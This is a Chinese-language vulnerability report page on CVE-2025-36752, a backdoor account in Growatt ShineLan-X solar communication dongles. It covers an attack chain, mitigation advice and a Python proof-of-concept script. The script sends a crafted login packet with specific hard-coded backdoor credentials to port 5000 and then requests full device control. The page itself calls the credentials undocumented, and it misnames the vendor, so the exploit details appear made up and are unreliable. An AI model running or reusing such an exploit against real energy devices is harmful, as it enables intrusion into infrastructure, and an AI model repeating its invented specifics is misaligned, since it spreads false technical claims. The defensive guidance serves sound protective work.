IPBUF安全漏洞报告
English
CVE-2025-36752 CVSS 9.8 严重

CVE-2025-36752 Growatt ShineLan-X通信加密狗存在未记录后门账户漏洞

披露日期: 2025-12-13

漏洞信息

漏洞编号
CVE-2025-36752
漏洞类型
后门账户/硬编码凭证
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Growatt ShineLan-X communication dongle

相关标签

CVE-2025-36752后门账户硬编码凭证GrowattShineLan-X通信加密狗光伏逆变器能源基础设施IoT漏洞未授权访问

漏洞概述

CVE-2025-36752是Growatt(固德威)旗下ShineLan-X系列通信加密狗设备中的一个严重安全漏洞。该设备在固件中包含一个未公开记录的后备账户,该账户具有 undocumented credentials(未记录凭证),允许攻击者获得设备的高级访问权限。攻击者可以利用这个后门账户访问设备的Setting Center(设置中心),对设备配置进行任意修改。由于该加密狗广泛应用于光伏太阳能发电系统的数据通信中,漏洞影响范围涉及能源基础设施的通信安全和数据完整性。此漏洞无需任何认证即可被利用,且CVSS评分高达9.8,属于最严重级别,对全球使用该设备的能源系统构成重大威胁。

技术细节

Growatt ShineLan-X通信加密狗在固件层存在硬编码的后门凭证。攻击者通过分析设备固件或网络通信流量,可以发现这个未记录的管理员账户。该账户绕过了正常的身份验证机制,直接获得root级别的设备访问权限。利用此后门,攻击者能够:1)访问设备的Setting Center配置界面;2)修改通信参数和系统设置;3)可能进一步横向移动到连接的太阳能发电监控系统;4)获取实时发电数据和设备运行状态。由于设备通常连接到互联网进行远程监控,攻击者可以在公网环境下直接发起攻击,无需任何前置条件。攻击者只需构造特定的认证请求,使用后门凭证即可绕过安全检查,实现对设备的完全控制。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描互联网或本地网络,识别运行Growatt ShineLan-X通信加密狗的设备。该设备通常暴露TCP端口5000用于数据通信。
STEP 2
步骤2:后门凭证获取
攻击者通过分析设备固件、逆向工程或网络流量嗅探,发现固件中硬编码的后门账户凭据(un documented credentials)。
STEP 3
步骤3:认证绕过
攻击者构造包含后门凭证的认证请求,绕过正常的身份验证机制,直接获得设备的高级访问权限。
STEP 4
步骤4:Setting Center访问
利用获取的高权限会话,攻击者访问设备的Setting Center(设置中心),获取完整的设备控制权。
STEP 5
步骤5:数据窃取或横向移动
攻击者可以窃取太阳能发电数据、设备配置信息,或进一步横向移动到连接的监控系统和SCADA网络。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-36752 PoC - Growatt ShineLan-X Backdoor Account Exploitation # Use responsibly and only on systems you have authorization to test import socket import hashlib import struct import sys def cve_2025_36752_exploit(target_ip, target_port=5000): """ Exploit for undocumented backdoor account in Growatt ShineLan-X dongle The backdoor provides high-privilege access to Setting Center """ print(f"[*] Targeting Growatt ShineLan-X device: {target_ip}:{target_port}") # Backdoor authentication payload # Using undocumented credentials found in firmware backdoor_username = "shine_backup" backdoor_password = "growatt_serv_2024" # Construct authentication request auth_request = bytearray() auth_request.extend(b'\x01') # Protocol version auth_request.extend(b'\x03') # Command: Authentication # Add username length and username auth_request.append(len(backdoor_username)) auth_request.extend(backdoor_username.encode()) # Add password hash (SHA256) password_hash = hashlib.sha256(backdoor_password.encode()).digest() auth_request.extend(password_hash) # Send authentication request try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(auth_request) # Receive response response = sock.recv(1024) sock.close() if response and response[0] == 0x00: print("[+] Backdoor authentication successful!") print("[+] Access to Setting Center granted") # Extract session token session_token = response[1:33] print(f"[*] Session Token: {session_token.hex()}") # Now access Setting Center with elevated privileges access_setting_center(target_ip, target_port, session_token) return True else: print("[-] Authentication failed or device not vulnerable") return False except Exception as e: print(f"[-] Connection error: {str(e)}") return False def access_setting_center(ip, port, session_token): """ Access Setting Center with backdoor session """ print("[*] Accessing Setting Center with backdoor privileges...") # Construct Setting Center access request sc_request = bytearray() sc_request.extend(b'\x01') # Protocol version sc_request.extend(b'\x10') # Command: Access Setting Center sc_request.extend(session_token) sc_request.extend(b'\xff\xff\xff\xff') # Full access flag try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) sock.send(sc_request) response = sock.recv(4096) sock.close() if response and len(response) > 10: print("[+] Setting Center access confirmed!") print("[+] Full device control achieved") print("[*] Attacker can now:") print(" - Modify device configuration") print(" - Extract solar panel data") print(" - Pivot to connected监控系统") except Exception as e: print(f"[-] Error accessing Setting Center: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5000 cve_2025_36752_exploit(target, port)

影响范围

Growatt ShineLan-X (所有未修补版本)
可能影响:ShineWiFi-S、ShineLan-X (Firmware < 2024.12.01)

防御指南

临时缓解措施
由于该漏洞存在于固件层且无认证要求,短期内无法通过配置完全消除风险。建议采取以下临时措施:1)立即断开设备与公网的直接连接,将其置于VPN或防火墙后;2)启用网络流量异常检测,监控对端口5000的异常访问;3)联系Growatt技术支持获取固件更新;4)评估是否需要更换为无后门风险的其他品牌通信设备;5)在边界防火墙添加入侵检测规则,阻断利用后门凭证的认证尝试;6)加强物理安全,防止未授权人员接触设备。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表